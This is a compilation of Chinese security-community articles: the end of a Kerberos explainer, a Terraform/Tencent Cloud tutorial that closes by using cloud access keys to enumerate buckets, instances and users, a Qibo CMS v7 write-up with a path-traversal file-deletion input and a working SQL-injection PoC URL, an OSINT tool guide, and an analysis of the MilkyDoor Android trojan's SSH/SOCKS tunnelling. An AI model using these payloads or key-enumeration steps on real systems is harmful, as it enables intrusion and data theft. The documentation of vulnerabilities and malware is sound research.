### 6.kerberos的完善5
重新梳理认证流程:如果我需要访问一个服务，我需要给服务器传递以下信息:用户名，IP，服务名，有限期，时间戳。而这些内容都被服务的密码加密了，思考….
● 票能否被解密？
● 票是否在有效期？
● 票上的用户名和IP地址是否和用票者的匹配？
第一个问题可以确定票是否具有真实性，因为是服务端的密码加密的，如果解密不了说明票是伪造的
第二个问题可以确定票是否是旧票还是否在使用期限内
第三个问题是验证票是否是本人在使用，如果用户名IP匹配不上说明票被偷窃。
但是IP和用户名都是可以被伪造的，所以服务和用户之间需要某种密钥。这种密钥可以保证此票不被盗用。
于是流程如下：认证服务返回一个密钥和票，票的内容
**票{密钥:用户名:IP地址:服务名:有效期:时间戳}** ，然后在请求服务时，会生成一个“认证器”，认证器被密钥加密内容如下：
**认证器{用户名:IP地址}被密钥加密**
然后将认证器和票一起发送给服务，服务用自己的密码解开票获取密钥，在用密钥揭开认证器，用票里的ip和用户名与认证器中的ip和用户名做对比….但是将认证器和票一起投来就可以了……..
### 7.kerberos的完善6
在认证器和票一起发送时产生窃取行为一样没用，但是值得注意的是，窃取者获得的认证器和票肯定晚于用户，所以只要给认证器加上使用次数就可以解决。当窃取者获取到认证器时次数已经被使用便不再生效了。
所以可以将时间戳和有效期放在认证器上，即使认证器被窃取想在两分钟内修改IP和用户名基本不可能。
## 总结
此文描述了kerberos的产生原因和进化的流程，我想在此处感谢那些分享过kerberos的人，这篇文章收集了大多数网上的文章加上自己的理解诞生。整个流程较为复杂，但是我想我把它讲清楚了，只是需要反复理解和消化。终有一天，你会发现事物的本质是如此的重要…. | 社区文章 |
## 0x00 前言
Terraform 是一种资源编排工具，通过它可以很方便的去构建云服务资源，本文将以「在腾讯云上创建一个 COS 存储桶」为例进行演示。
## 0x01 Terraform 概述
Terraform 官方下载页面：<https://www.terraform.io/downloads> ，在这里找到自己的系统进行安装即可。
目前 Terraform 基本已经支持了大部分主流的云服务厂商，在
<https://registry.terraform.io/browse/providers> 中可以看到其所支持的云服务厂商。
[upl-image-preview url=<https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-05-30/1653895994-830555-image.png>]
本文中将使用腾讯云作为演示，在平时使用 Terraform
时会频繁的去参考官方文档，其腾讯云的官方文档地址为：<https://registry.terraform.io/providers/tencentcloudstack/tencentcloud/latest/docs>
## 0x02 开始编写
首先创建一个文件夹（这里文件夹名称为 cos_bucket_demo），并新建以下文件。
.
└── cos_bucket_demo
├── README.md
├── main.tf
├── output.tf
├── terraform.tfvars
├── variables.tf
└── version.tf
* README.md 描述文件
* main.tf Terraform 主体代码文件
* output.tf 内容输出代码文件
* terraform.tfvars 参数文件
* variables.tf 变量声明文件
* version.tf 版本信息文件
可以看到在 cos_bucket_demo 文件夹中，有多个 tf 后缀的文件，其实这些 tf 文件里的代码都可以写到一个 tf
文件里，但一般为了规范些，还是建议分多个 tf 文件去写，一个文件夹对应一个 tf 场景。
接下来，我们来看看每个 tf 文件里都有哪些内容。
### version.tf
version.tf 一般是放和版本信息有关的代码，例如这里就是声明了 Provider 来源为 tencentcloud 且版本为
1.72.5，Provider 在这里可以理解成「提供云服务的厂商」的意思。
terraform {
required_providers {
tencentcloud = {
source = "tencentcloudstack/tencentcloud"
version = "1.72.5"
}
}
}
如果经常使用某个云的 Provider，建议指定固定的版本，这样在开启插件缓存后，每次初始化 Terraform 时，就不会因为 Provider
有更新了而要重新下载它，同时还会避免因为 Provider 更新导致代码不可用或者出现告警的情况。
开启插件缓存方法可以参考：<https://wiki.teamssix.com/CloudNative/Terraform/terraform-enable-plugin-cache.html>
### variables.tf
variables.tf 里一般会写上变量的声明，例如这里需要声明腾讯云的 secret id 和 secret key 变量。
variable "tencentcloud_secret_id" {
type = string
description = "Set Tencent Cloud secret id."
sensitive = true
nullable = false
}
variable "tencentcloud_secret_key" {
type = string
description = "Set Tencent Cloud secret key."
sensitive = true
nullable = false
}
其中 variable 后面的是变量名称，type 指定变量类型，description 用来描述变量的用途，sensitive
用来指定变量是不是敏感信息，nullable 用来指定变量是不是可以为空。
### terraform.tfvars
terraform.tfvars 文件比较简单，在这里可以写上变量的值，这样在运行 Terraform 的时候，就不用从命令行中去指定变量了。
如果没有该文件，那么在执行 Terraform 代码时，Terraform 就会在命令行中提示输入这些变量。
tencentcloud_secret_id = "xxx"
tencentcloud_secret_key = "xxx"
### output.tf
output.tf 文件里一般会指定要输出的内容，这里要输出的是 COS Bucket 的地址。
output "tencent_cloud_cos_bucket_name" {
value = "https://${tencentcloud_cos_bucket.cos_bucket_demo.cos_bucket_url}"
description = "This is the bucket name of Tencent Cloud COS."
}
### main.tf
最后 main.tf 一个就是最核心的文件了。
provider "tencentcloud" {
secret_id = var.tencentcloud_secret_id
secret_key = var.tencentcloud_secret_key
region = "ap-beijing"
}
resource "tencentcloud_cos_bucket" "cos_bucket_demo" {
bucket = "teamssix-${random_string.random_suffix.result}-${data.tencentcloud_user_info.foo.app_id}"
}
resource "random_string" "random_suffix" {
length = 7
special = false
upper = false
}
data "tencentcloud_user_info" "foo" {}
首先在 provider 块中指定了腾讯云的 secret id 和 secret key 以及 region，接着使用
tencentcloud_cos_bucket resource 块用来创建存储桶。
由于腾讯云的 Bucket 名称中包含了使用者的 APP ID，所以这里还使用了 tencentcloud_user_info data
块，用来获取当前用户的 APP ID，同时为了避免 Bucket 名称重复，这里使用了 random_string resource 块用来生成一个随机数。
最后，就可以执行这些代码了。
## 0x03 执行代码
首先，将终端路径切到 cos_bucket_demo 文件夹下，运行初始化命令。
terraform init
该命令会识别当前文件夹里的 tf 文件中所使用到的 Provider，然后去下载它。
如果提示 Error: Failed to install provider，大多数情况是因为网络的问题，可以在终端里设置代理后再次尝试。
然后运行以下命令，该命令会检查当前代码是否存在问题，如果没问题就会给出接下来将要执行的计划。
terraform plan
最后，确认没问题后，就可以应用这个代码了。
terraform apply
在执行该命令的时候，会提示 Enter a value，这时如果确认无误，就输入 yes 即可，最后就可以在 Outputs 中看到 Bucket 的
URL 了。
[upl-image-preview url=<https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-05-30/1653896017-831441-image.png>]
这时，在腾讯云控制台的存储桶列表中，就可以看到我们刚才创建的存储桶了。
[upl-image-preview url=<https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-05-30/1653896030-207096-image.png>]
这样，我们就完成了利用 Terraform 创建云服务资源的过程，如果想要销毁这个资源也很容易，直接运行以下命令即可。
terraform destroy
## 0x04 在云上攻防中的作用
通过上面的内容，可以看到 Terraform 可以调用云厂商的 AK、SK
进行云服务资源的创建与获取，作为安全人员，我们可以利用这个特性进行云上服务的批量信息收集，下面以 COS、CVM、CAM 的信息收集为例。
将 output.tf 改为以下内容
output "tencent_cloud_cos_bucket_list" {
value = data.tencentcloud_cos_buckets.cos_buckets.bucket_list
}
output "tencent_cloud_cvm_instances_list" {
value = data.tencentcloud_instances.cvm_instances.instance_list
}
output "tencent_cloud_cam_users_list" {
value = data.tencentcloud_cam_users.cam_users.user_list
}
将 main.tf 改为以下内容
provider "tencentcloud" {
secret_id = var.tencentcloud_secret_id
secret_key = var.tencentcloud_secret_key
region = "ap-beijing"
}
data "tencentcloud_cos_buckets" "cos_buckets" {
}
data "tencentcloud_instances" "cvm_instances" {
}
data "tencentcloud_cam_users" "cam_users" {
}
然后应用代码，就可以获取到 COS、CVM、CAM 的相关信息了，如果想获取其他的信息，可以在 Provider 腾讯云官方文档中找到。
[upl-image-preview url=<https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-05-30/1653896046-362569-image.png>]
从站在安全人员的角度来说，我们完全可以通过 Terraform 打造一个独属于自己的全云场景覆盖的 AK、SK 利用工具，而且我们不用自己调取、调试任何
SDK，可以说是潜力无限了。
> 通过 Terraform 进行信息收集的这个想法来自 tanger 师傅
## 0x05 最后
Terraform
的内容远远不止上面说的这些，官方文档对它的介绍也足够详细，同时现在也有了由第三方翻译的中文文档：<https://lonegunmanb.github.io/introduction-terraform/>
另外在 T Wiki 中，还有一些 Terraform 其他资料，比如 Terraform
可视化、代码安全检查的方法等等，也可以作为扩展阅读：<https://wiki.teamssix.com/CloudNative/Terraform/>
如果你在编写 Terraform 代码的时候，想找一些其他人写的代码进行参考，那么不妨看看 TerraformGoat
这个项目：<https://github.com/HuoCorp/TerraformGoat>
最后建议自己在编写 Terraform 代码的时候，多看官方文档，多用英文去搜索，多用官方文档的代码，可以在很大程度上提高自己的效率。
文章首发于：火线Zone社区（<https://zone.huoxian.cn/）>
作者：TeamsSix | 社区文章 |
# 齐博CMSv7
太菜了。。目前暂时只找到了一些后台的洞。。既然后台不是getshell，个人感觉都较鸡肋，希望师傅们轻喷。
# 初步了解
## 数据库类
`$db`为数据库操作类
类的一些方法在
`inc/mysql_class.php` 的`MYSQL_DB` 类
中定义
## 函数
核心系统要调用的一些函数与类的文件存放在inc目录下
### 过滤函数
function filtrate($msg){
//$msg = str_replace('&','&',$msg);
//$msg = str_replace(' ',' ',$msg);
$msg = str_replace('"','"',$msg);
$msg = str_replace("'",''',$msg);
$msg = str_replace("<","<",$msg);
$msg = str_replace(">",">",$msg);
$msg = str_replace("\t"," ",$msg);
//$msg = str_replace("\r","",$msg);
$msg = str_replace(" "," ",$msg);
return $msg;
}
# 后台任意文件删除
从函数入手
在inc目录下全局搜索`unlink`
将目标锁定在
文件：inc/function.inc.php
函数：del_file
function del_file($path){
if (file_exists($path)){
if(is_file($path)){
if( !@unlink($path) ){
$show.="$path,";
}
} else{
....
简单的对`$path`参数进行了判断，未经过任何过滤，就进行了`@unlink($path)`
于是现在寻找调用该函数的位置
在前台和会员中心并未发现调用该函数的地方
在后台有多处调用该函数
将目光定位在
文件：admin/mysql.php
关键代码
/**
*删除选定的备份数据
**/
elseif($action=='del'&&$Apower[mysql_del]){
if(!$baktime){
showmsg('请选择一个');
}
del_file(ROOT_PATH."cache/mysql_bak/$baktime");
if(!is_dir(ROOT_PATH."cache/mysql_bak/$baktime")){
jump("数据删除成功","index.php?lfj=mysql&job=del",5);
}else{
jump("数据删除失败,请确认目录属性为0777","index.php?lfj=mysql&job=del",5);
}
}
首先需要选择备份文件，然后直接调用`del_file`函数对该备份文件进行删除
仅仅是拼接在了`ROOT_PATH."cache/mysql_bak`后。跳出该目录即可进行任意文件删除
## 漏洞验证
备份文件在
`\cache\mysql_bak`下
先备份文件，接着删除该备份文件
修改`baktime`为`../hack`即可删除该目录
# 后台鸡肋SQL注入
既然是后台注入。那么暂且归为鸡肋
## 漏洞分析
本来在找任意文件写入，结果歪打正着找到了一个注入
文件：admin/html.php
第296行处
...
if($fiddb){
$stringFID=implode(",",$fiddb);
$SQL=" fid IN ($stringFID) ";
}elseif($idDB){
$string=implode(",",$idDB);
$SQL=" id IN ($string) ";
}
$str="<?php\r\n\$weburl='$WEBURL&step=end';\r\n";
$query = $db->query("SELECT id,fid FROM {$pre}special WHERE $SQL LIMIT 3000");
...
`$idDB`变量和`$fiddb`都是从get传入，两个参数都能造成注入，这里用`$idDB`变量。
传入`$idDB`变量后，由于用到了`implode`函数这里`idDB`需要是数组，之后将该变量直接拼到了`id IN ($string)`
中给了`$SQL`变量，然后又直接将`$SQL`变量拼接进了数据库查询语句,这中间没有任何过滤，于是可造成SQL注入攻击
`query = $db->query("SELECT id,fid FROM {$pre}special WHERE $SQL LIMIT
3000");`
## 漏洞验证
后台大多数功能通过lfj参数进行访问，参数为文件名
需要传入参数`action=make_SPhtml`才能进入判断
于是我们访问的链接
`127.0.0.1:12345/7bocms/admin/index.php?lfj=html&action=make_SPhtml&idDB=1`
直接就报错了，因为这里需要`$idDB`是数组
所以我们重新传参（由于跳转，放到BP里验证）
在构造payload过程中发现
会把) 后面的给 "吃掉"
于是尝试用加号绕过
再将#编码%23
成功注入
poc=/admin/index.php?lfj=html&action=make_SPhtml&idDB[]=1)+and+(updatexml(1,concat(0x7e,(select+user()),0x7e),1))%23 | 社区文章 |
原文：<https://medium.com/@micallst/osint-resources-for-2019-b15d55187c3f>
无论您是OSINT(公开资源情报)方面的新手，还是在自己的职业生涯中经常使用它进行侦察、威胁情报收集或调查方面的老手，鉴于该领域最近发展迅猛——无论是在OSINT工具、数据、内容还是在社区方面，都带来了巨大的发展——所以，大家都有必要吸收一些新的东西。在这篇文章中，我们将为读者介绍所有依赖OSINT的人都应该知道的要点，以及可能带来额外惊喜的新资源。
首先，让我们来点基础性的知识。
如果您是新手，或者技术水平不是非常深厚的话，那么，最好先设法掌握一些基础性的资源，以便打下一个坚实的基础，这样，不仅可以帮助您更好地利用本文后面提到的其他工具，同时，还能帮助您更深入地了解它们所提供的数据：
* DNS:借助于host、dig和nslookup等命令工具，可以查询各种类型的DNS记录(A、CNAME、NS、MX、TXT等）、使用的备用名称服务器等。例如，您知道Quad9的DNS总是将所有恶意主机解析为127.0.0.1吗？这意味着，通过使用它们的名称服务器进行相应的查找，您就可以可以快速检查出是否存在这种恶意攻击:
$ nslookup m-tesla.pw 9.9.9.9
Server: 9.9.9.9
Address: 9.9.9.9#53
Non-authoritative answer:
Name: m-tesla.pw
Address: 127.0.0.1
* Whois：也许大家都知道如何对域名进行Whois查询，但是您知道也可以对IP地址、网络和ASN执行Whois查询吗？比如，我们不妨看看谁拥有地址8.8.8.8——是的，是Google，但Whois还能向我们展示更广泛的网络范围，即它实际上为Level3Communications（现为CenturyLink）所拥有，他们实际上只是将8.8.8.0/24分配给了Google:
$ whois 8.8.8.8
...
NetRange: 8.0.0.0 - 8.127.255.255
CIDR: 8.0.0.0/9
NetName: LVLT-ORG-8-8
NetHandle: NET-8-0-0-0-1
Parent: NET8 (NET-8-0-0-0-0)
NetType: Direct Allocation
OriginAS:
Organization: Level 3 Parent, LLC (LPL-141)
RegDate: 1992-12-01
Updated: 2018-04-23
Ref: https://rdap.arin.net/registry/ip/8.0.0.0
OrgName: Level 3 Parent, LLC
OrgId: LPL-141
Address: 100 CenturyLink Drive
City: Monroe
StateProv: LA
PostalCode: 71203
Country: US
RegDate: 2018-02-06
Updated: 2018-02-22
...
NetRange: 8.8.8.0 - 8.8.8.255
CIDR: 8.8.8.0/24
NetName: LVLT-GOGL-8-8-8
NetHandle: NET-8-8-8-0-1
Parent: LVLT-ORG-8-8 (NET-8-0-0-0-1)
NetType: Reallocated
OriginAS:
Organization: Google LLC (GOGL)
RegDate: 2014-03-14
Updated: 2014-03-14
Ref: https://rdap.arin.net/registry/ip/8.8.8.0
...
* 端口扫描器( Nmap、masscan、…)：打开的端口能够帮我们弄清楚服务器已经公开了哪些服务。端口443通常用于HTTPS服务，端口22通常用于SSH服务，等等。端口扫描器可以自动识别给定IP/主机已打开的所有服务，帮我们识别正在使用的软件及其版本，甚至还可以识别主机的操作系统。
* 谷歌的搜索语法：很多书籍都对此进行了广泛的讨论(甚至有一本书是专门讨论这一主题的)，所以，这里就不再多费口舌了，不过，这并不是说它并不重要——大家只要看看Google Hacking Database( GHDB )，您心里就会有数了。
* Python：早晚有一天，大家都会遇到一些独一无二的需求，这时，就需要为自己特定的场景集成不同的工具和API。之所以单独提及Python，因为它不仅是一种平易近人的语言，更易于阅读代码，同时，其标准库还为我们提供了非常丰富的功能。即使标准库没有提供您自己想要的东西，通常也能在网络上找到现成的相关模块。出于这个原因，我遇到的大多数OSINT工具都是用Python语言编写的，所以，如果您是Python的新手，并且希望将其专门应用于OSINT，不妨学习一下Justin Seitz（Hunchly软件的作者）编写的在线课程，或者直接看这里的[Python教程](https://docs.python.org/3/tutorial/ "Python教程")——其可读性好到令人发指。
我们需要创造性地思考！我最喜欢OSINT的一点是，它通常是一个由松散连接（或经常是不连接）的组成部分构成的大拼图。如果您得到了一条信息，通常顺着又能得到另一条信息。如果遇到了一个死胡同，那就必须改变方向了；在此期间，收集的信息会沿途建立一个更连贯的画面。最关键的是不要放弃，要创造性地思考，要灵活多变。希望您最后能：
抱歉，我得把Brooklyn 99的资料偷偷带过来。
掌握了这些要素之后，您就可以通过使用他人创建的更复杂的工具和平台了，也就是站在巨人的肩膀上了；话说回来，这些工具和平台中的大部分也都是建立在上述基础之上的，但是，它们的规模要大得多。
**Internet扫描器**
* * *
Internet扫描器带来的好处是，当您想要了解目标计算机公开了哪些服务（开放端口、协议、应用程序、内容）时，大部分的繁重工作可由它们代劳，因此，您只需要查询它们的数据库就行了，而无需亲自进行端口扫描。此外，另一个主要的好处是：它完全是被动方式的，所以，您的目标根本没有任何觉察。
我利用SHODAN对关键词‘spiderfoot’进行了一个简单的搜索，结果显示，有些人正在网上公开运行它。
* SHODAN：它是Internet扫描器之王，这一地位是无可争议的；它提供了丰富的查询语言、API，最重要的是，它还为我们提供了大量数据供筛选。
* Censys：这个平台发展很快；它不仅提供了高质量的数据，同时，还提供了非常好用的界面和API。
* BinaryEdge：有些家伙已经通过他们的平台发现了很多漏洞，最近还向公众开放了免费访问权限。另外，他们还提供了BitTorrent数据和相关的API。
**被动型DNS**
* * *
被动型DNS服务能够利用Internet
DNS流量来构建DNS解析的历史记录。我们知道，借助于DNS，我们可以将名称解析为相应的IP地址，或者将IP地址解析为相应的名称。但如果我们想找出解析到给定IP的所有名称的话，我们该怎么办呢？或者，如何找出曾经解析到的给定IP的所有名称呢？这时，被动型DNS就派上用场了。当然，单靠某一种服务无法得到满意的结果，同时，相关数据的新鲜度也会有所不同，因此，我们最好查询多个被动型DNS服务，以获得最全面的结果。
我在SecurityTrails上搜索自己的个人网站binarypool.com，竟然能够看到2008年的DNS记录！
* SecurityTrails：实际上，将SecurityTrails归入被动型DNS类别确实有点保守，因为，它们的用途远不止于被动型DNS。它们不仅提供了巨量的数据，还提供了丰富的API和友好的UI。同时，它们目前还在迅速发展，因为它们建立了自己的平台，并提供了一个免费的使用层。
* Robtex：Robtex是本人第一次接触到的被动型DNS服务，让我非常着迷。目前，几乎所有的OSINT工具都在使用它，毕竟，它已经存在了很长时间了，并且是免费的，同时，还有很多可以追溯到几年前得高质量数据。不过，大家不要被简单的UI所愚弄——它提供了丰富的数据，而且，还提供了相应的API。
* HackerTarget：这是另一个具有丰富的免费被动型DNS数据源，同时，我们也可通过API获得相应的数据。此外，他们还提供了许多其他方面的免费工具，这些工具也值得大家花些时间一探究竟。
**声誉系统（Reputation Systems）**
* * *
如果从事OSINT的主要目标之一是威胁情报收集的话，那您运气不错，因为这方面的信息源不仅数量多，并且质量也很高，所以，我在这里夹带了一点私货，列出了我最喜欢的两个，并且提供了一个服务的链接，该服务汇总了所有这些信息，并给出了原创性的比较情况。
在VirusTotal中查找可疑域名，不仅能够找到相应的声誉信息，同时还能发现更多的信息。
* VirusTotal：在这个巨大的平台上，提供了巨量的声誉数据、被动型DNS数据，等等。虽然该平台的访问是免费的，但是在查询量方面具有严格的限制。不过，如果您只使用UI，这应该不成问题。
* Greynoise：这是一个新玩家，它更关注于识别Internet扫描器(例如上面提到的那些)。如果您正在调查可疑的IP地址，那么，这是一个消除误报("反威胁情报")的好去处。
* FireHOL IP清单:如其网站上所述，“其目标是创建一个足够安全得黑名单，可以在所有系统上使用，并提供了防火墙，以全面阻止对其列出的IP的访问。”他们还提供了历史数据维护，分析数据的唯一性等功能。
**反向Whois**
* * *
反向Whois是我最喜欢的OCIT资源之一，因为它的功能非常强大，经常给我们带来惊喜。常规Whois只能提基于域名搜索结果，而反向Whois资源则允许我们根据名字、电话号码和电子邮件地址等字段来搜索当前和历史Whois记录。更具体地说，如果[email protected]是待调查的域名的联系人，则可以通过这种方法找到注册在该电子邮件地址下的所有其他域名。当试图探索影子IT问题（shadow
IT issues），或查找主域名完整的外围对象时，这会非常给力。
如果搜索[email protected]，则会显示在该地址下注册的其他域名。
* ViewDNS.info：该网站上提供了许多免费工具，并且，API的定价也非常合理。即使不使用API，您仍然可以从网站上查询相当多的数据，并且这些数据可以追溯到很久以前。此外，您还可以批量下载数据。
* WhoXY：他们的数据覆盖范围超过了2000个TLD，可以通过API来批量获取。此外，您还可以以每1000个查询2美元的费率来购买查询流量。价格吗，还算公道吧。
* SecurityTrails：在这里，我不得不再次提及SecurityTrails，因为他们也提供反向Whois数据。
**自动化工具**
* * *
随着OSINT数据源越来越多，所以，我们最终会走上自动化之路，这样，我们就不会将所有时间都花在浏览器窗口的切换、复制和粘贴上面，同时，还能降低人为出错的概率。通过这些工具，您可以收集、构建、关联和可视化相关的OSINT数据，甚至可以监控它们在一段时间内的变化情况。
眼下，已经有越来越多的工具进入OSINT领域，涵盖了子域枚举、社交媒体相关性等领域。有时，我们需要通用的广度覆盖工具（broad-coverage
tool）来同时访问大量的数据点；另一些时候，我们却只需要一个涉及面很窄且专用的工具来处理某个数据点。此外，还有一个关键的维度，那就是新鲜度——我们要尝试和使用那些有人积极维护的工具，以便可以确保他们正在使用与其集成的数据源搭配的最新API。
SpiderFoot不仅提供了开源版本，还提供了云托管版本（SpiderFoot HX以上版本），目前处于Private Beta阶段。
* SpiderFoot：作为SpiderFoot的作者，难免有失偏颇，所以，这里我们只能说该项目目前提供了基于Web的UI、CLI并且处于积极维护状态，并提供了150个以上的模块，供大家用于集成和分析OSINT数据源。此外，截止撰写本文时，SpiderFoot HX Private Beta版本仍处于开放状态，所以，我们还将为其提供更多的功能。
* Maltego：提供了社区版（免费）和商业版。Maltego具有令人印象深刻的可视化功能，并能够与OSINT的“transforms”模型一起工作，后者可以将一种类型的数据（例如电子邮件地址）转换为另一种类型（例如，一个人的姓名）。
* theHarvester：一个非常流行的开源、纯CLI的OSINT工具，它集成了许多数据源，包括本文中之前提到的那些。
**社区**
* * *
在过去几年中，OSINT领域最让人高兴的事情之一就是社区的迅猛发展。现在，社区已经提供博客、聊天组、聚合资源列表甚至播客：
一个100％致力于传播OSINT的播客。
* The OSINT Podcast：Jake Creps总能提供最新的主题，其中涵盖了新的OSINT资源和工具，以及对OSINT领域关键人物的采访。
* Michael Bazzell的网站（以及时事通讯！）：我们是该网站的常客，我经常通过该网站来寻找创建新SpiderFoot模块的灵感。该网站的主题更着重于调查方面，不过技术性较差，但对于获取新的OSINT来源来说，它仍然非常有用。
* OSINTcurio.us：一个最近才上线的博客，也是一个值得关注的博客。这里提供了许多有趣的文章，大多是有关人们是如何进入OSINT领域的，不过，将来会提供越来越多的教学材料。
* Awesome OSINT：提供相关的OSINT资源链接。这里也许提供了人类已知的所有OSINT源，并且将其托管在Github上，所以，如果您想贡献内容，只需一个拉取请求就能搞定。
* OSINT Rocket Chat：随着数百（数千？）成员的加入，不久就会发展成一个由调查人员、信息安全人员、研究人员和业余爱好者组成的、有用且活跃的社区。
**小结**
* * *
就像所有这个方面的文章一样，这里真的只是触及了如今可用的OSINT资源的一点皮毛而已。尽管如此，我仍然希望本文能够对您有所帮助，同时，在后续文章中，我将介绍不断发展的OSINT世界的其他方面的内容。如果您想了解前面述及的某些资源（以及其他资源），不妨访问本人之前分析比特币诈骗的[文章](https://medium.com/@micallst/an-osint-analysis-of-the-elon-musk-bitcoin-scam-778fb1b14b3b "文章")。 | 社区文章 |
# 【技术分享】内网穿透——Android木马进入高级攻击阶段（二）
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
**
**
**传送门**
[**【技术分享】内网穿透——Android木马进入高级攻击阶段**](http://bobao.360.cn/learning/detail/3254.html)
**
**
**一．概述**
**移动互联网时代的到来，企业内部数据越来越有价值。近年来，黑客以移动设备为跳板，入侵企业内网，窃取企业数据资产的趋势愈发明显。**
近日，360烽火实验室发现一批感染了一种名为“MilkyDoor”的恶意代码，这是继去年6月份首次出现的“DressCode”[1]恶意代码后，又一种利用移动设备攻击企业内网的木马。然而，与“DressCode”不同的是，“MilkyDoor”不仅利用SOCKS代理实现从攻击者主机到目标内网服务器之间的数据转发，而且利用SSH(Secure
Shell)协议穿透防火墙，加密传输数据，进而实现数据更隐蔽的传输。
SSH协议[2]又称为安全外壳协议，其使用的传输机制是TCP/IP，通常使用的都是服务器的TCP端口22，并对经过连接传输的数据进行加解密操作。可以使用SSH对其他应用程序在别的TCP端口建立的TCP/IP传输进行加密与解密。这一过程称为端口转发。利用SSH转发，其他一切基于TCP的不安全协议都可以变得安全。
**二．地域分布**
360互联网中心数据显示，截至2017年5月份，“MilkyDoor”木马传播量已达到3万之多，其分布在世界160多个国家，其中土耳其、俄罗斯、印度、美国属于重灾区，中国的企业内网也面临着“MilkyDoor”木马的严重威胁。该木马在全世界的分布情况如下图所示：
图1 “MilkyDoor”木马在全世界的分布情况
**三．详细分析**
“MilkyDoor”木马攻击内网的主要过程如下：
（1） 木马(SSH客户端)主动连接到攻击者主机(SSH服务器)，建立一个SSH安全连接，并设置端口转发方式为远程端口转发。
（2）
木马作为SOCKS服务器创建一个Socket，等待位于本机的SSH客户端的连接，连接成功后就可以读取到SSH服务器发送的，且经过SSH客户端解密过的数据。
（3） 木马根据接收到的目标内网服务器IP和端口，与内网服务器建立一个数据传输通道。
（4） 木马收到内网服务器发送的数据后，通过SSH隧道转发给攻击者。
**（一）SSH远程端口转发**
“MilkyDoor”木马采用远程端口转发[3]实现数据加密传输，整个过程步骤如下：
（1） 木马主动与攻击者主机建立一个SSH安全连接。
（2） 攻击者主机将数据发送到它的R端口上。
（3） 位于攻击者主机端的SSH服务器接收到R端口上的数据后，将其加密并转发到位于木马端的SSH客户端上。
（4） SSH客户端解密收到的数据并将其转发到木马监听的L端口上。
通过上述过程，攻击者可以将数据加密传输到木马端。如下图所示：
图2 攻击者利用远程端口转发传输数据的过程
**（二）SOCKS代理**
“MilkyDoor”木马实现了一套SOCKS协议在内网服务器和攻击者主机之间转发流量。通过SOCKS代理，攻击者会通过感染了该木马的移动设备连接目标内网服务器，并将发送给处于内网中的移动设备的数据转发给攻击者，从而实现数据的窃取，转发过程如下图所示：
图3 利用SOCKS代理转发数据过程
**（三）建立SSH安全传输隧道**
木马运行时，一旦接收到手机解锁动作后，会启动ServiceWorker服务。该服务会首先从远程服务器上下载配置文件。该配置文件包含了攻击者主机的IP、木马作为SOCKS服务器要监听的端口、木马连接攻击者主机（SSH服务器）的口令、密码等重要信息。同时更新本地配置文件，并通过Handler机制将更新结果发送回ServiceWorker服务中，如果更新成功，那么开启子线程，在子线程中开启SS服务，同时，需要将配置文件中socks参数传递给该服务，这个参数在连接攻击者主机，设置远程端口转发都将用到。代码如下图所示：
图4 启动SS服务，将socks参数传递给该服务
在SS服务内部会执行一个异步任务，该任务首先根据socks参数读取用户名，主机IP，用户口令，远程端口等信息，然后连接攻击者主机，同时设置端口转发方式为远程端口转发，这样，木马发送到该端口的数据都会被SSH加密并转发到攻击者主机的端口。这个过程是由JSch包[4]里提供的接口实现，它是一个SSH2的纯Java实现。允许你连接到一个SSH服务器，并且可以使用端口转发、X11转发，文件传输等。该过程代码如下图所示：
图5 连接SSH服务器，设置远程端口转发
**（四）窃取内网服务器数据过程**
木马创建一个服务端Socket,接收攻击者主机的连接，一旦建立连接，那么木马与攻击者建立了一个数据传输通道。于是先启动子线程，子线程首次运行时，会读取攻击者主机传送过来的数据，它包括请求版本、攻击指令、目标内网服务器端口、IP，用户名。经分析处理，该数据格式如下图所示：
图6 攻击者主机请求报文格式
然后，木马会根据接收到的指令进行相应的操作，代码如下图所示：
图7 木马根据攻击者指令触发相应的操作
如果是CONNECT指令，那么根据传入的目标内网服务器的IP和端口连接内网服务器。此时木马作为客户端与内网服务器建立起了一条信息通道。这样从攻击者主机到木马，从木马到内网服务器的两条传输通道均建立起来。
如图8所示（其中h,i为输入流，j,g为输出流），两条传输方向相同的文件流形成了一条单向传输通道：输入流h，输出流i组成一条向攻击者主机传送数据的传输通道；输入流g与输出流j组成一条向内网服务器传送数据的传输通道。
图8 输入输出数据流向图
实现数据转发的a(InputStream ,OutputStream)方法如下图所示：
图9 数据转发过程
结合图8与图9不难得知，通过调用a(h,i)，就会将内网服务器的数据发送给攻击者；调用a(g,j)就会将攻击者传送过来的数据发送给内网服务器。
当攻击者想窃取内网FTP服务器的数据时，会继续发送BIND指令。此时木马会首先创建新的Socket
A，等待目标FTP服务器的连接；读取从攻击者主机发送过来的PORT指令，一旦接收到该指令，就主动连接到Socket
A。然后内网FTP服务器通过这条数据连接通道传输数据。这样，攻击者通过木马完成了对FTP文件服务器上数据的窃取。
**四．总结建议**
与“DressCode”木马不同的是，“MilkyDoor”木马利用SSH加密传输数据，而且其恶意代码隐藏在android.system包下，具有很好的隐蔽性，大大加强了检测的难度，一旦有移动设备中招，将很难检测出来。因此，企业应加强防范措施，严格限制不可信的移动设备接入企业内网，禁止智能终端设备与企业内部服务器处于同一个局域网内。
**引用**
[1] [技术分享]内网穿透——Android木马进入高级攻击阶段：
<http://bobao.360.cn/learning/detail/3254.html>
[2] SSH协议介绍：
<http://blog.csdn.net/macrossdzh/article/details/5691924>
[3] 实战SSH端口转发：
<https://www.ibm.com/developerworks/cn/linux/l-cn-sshforward/>
[4] com.jcraft.jsch (JSch API)：
<https://epaul.github.io/jsch-documentation/javadoc/>
**360烽火实验室**
360烽火实验室，致力于Android病毒分析、移动黑产研究、移动威胁预警以及Android漏洞挖掘等移动安全领域及Android安全生态的深度研究。作为全球顶级移动安全生态研究实验室，360烽火实验室在全球范围内首发了多篇具备国际影响力的Android木马分析报告和Android木马黑色产业链研究报告。实验室在为360手机卫士、360手机急救箱、360手机助手等提供核心安全数据和顽固木马清除解决方案的同时，也为上百家国内外厂商、应用商店等合作伙伴提供了移动应用安全检测服务，全方位守护移动安全。
**传送门**
* * *
**[【技术分享】内网穿透——Android木马进入高级攻击阶段](http://bobao.360.cn/learning/detail/3254.html)** | 社区文章 |
**作者：phith0n
原文链接：<https://www.leavesongs.com/PENETRATION/cachet-from-laravel-sqli-to-bug-bounty.html>**
